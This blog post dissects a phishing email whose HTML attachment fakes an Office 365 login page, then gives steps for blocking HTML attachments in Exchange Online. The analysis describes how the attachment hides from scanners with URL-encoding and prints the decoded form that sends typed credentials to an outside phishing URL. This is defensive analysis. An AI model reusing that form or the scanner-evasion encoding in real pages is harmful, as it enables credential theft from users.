This morning I received yet another phishing email with a malicious HTML attachment:
As you can see from the screenshot, the email was sent to the Accounts Receivable group at my company. This is actually the second time I received an email like this from the nexgensurveying.com domain (the first being about a month ago). Apparently the senders thought if they didn’t trick me the first time around, why not try again?
Clicking the HTML attachment in Outlook shows the following warning:
Suppose someone simply clicks the Open button without giving it any thought. In this particular case, this results in a browser opening the login page shown below:
This looks a lot like the original login page for Office 365 and Active Directory Federation Services (ADFS).
The source of the malicious HTML attachment is illustrated below:
unescape function to hide
their malicious content from email scanners (that might otherwise remove the
attachment or block the message altogether).
Note: The content uses the
unescapefunction but is actually URL-encoded data. For example,
<!DOCTYPE html>using percent-encoding.
Decoding the contents of the string passed to the
unescape function (using
FreeFormatter.com), shows the
actual HTML rendered in the login page:
“Dissecting” the decoded HTML source a little bit reveals the following:
<form method="post" ... action="https://discovertheport.com.au/gantz/oracle.php"> ... </form>
Suppose someone is tricked into typing his or her credentials into the phishing login page and clicks the Sign in button. Well then…ouch…those credentials just got passed to https://discovertheport.com.au/gantz/oracle.php – which I can only assume stores them for subsequent nefarious purposes.
What can we do about this (aside from trying to educate people not to fall for phishing schemes like this)? I suggest configuring your email service to block HTML attachments altogether. In my mind, we live in a time when an HTML attachment is just as dangerous as an executable file or a VBScript file (both of which, I imagine, are blocked by default in all modern email services).
Like thousands of other organizations around the world, Technology Toolbox uses Microsoft 365 for corporate email – and while I wish Microsoft 365 were configured by default to block HTML attachments, unfortunately that currently is not the case.
Fortunately, the process for configuring Exchange Online (i.e. the email service used for Microsoft 365) to block HTML attachments is very easy.
To create a transport rule to block messages with HTML attachments in Microsoft 365, follow these steps:
Sign in to the Microsoft 365 portal.
Select Admin, and then select Exchange.
In the left navigation pane, select Mail flow, and then select Rules.
In the toolbar, select the plus (+) button, and then select Create a new rule…
In the new rule window:
Select More options…
In the Name box, type Block messages with HTML attachments.
Select the *Apply this rule if… drop-down list, point to Any attachment…, and then select file extension includes these words.
In the specify words or phrases window:
- Type htm and then select the plus symbol (+) to add the file name extension to the list.
- Type html and then select the plus symbol (+) to add the file name extension to the list.
- When the list is completed, select OK.
Select the *Do the following… drop-down list, point to Block the message…, and then select reject the message and include an explanation.
Select Enter text… to inform users who will receive the non-delivery report (NDR) of the reason that mail delivery failed.
In the specify rejection reason window, type HTML attachments are not allowed and then select OK.
Ensure the Audit this rule with severity level: checkbox is selected and select Low from the drop-down list.
Ensure the Enforce mode is selected for the rule.
After creating the mail flow rule, I encourage you to test it to ensure it works as expected. You should receive an “undeliverable” message similar to the following: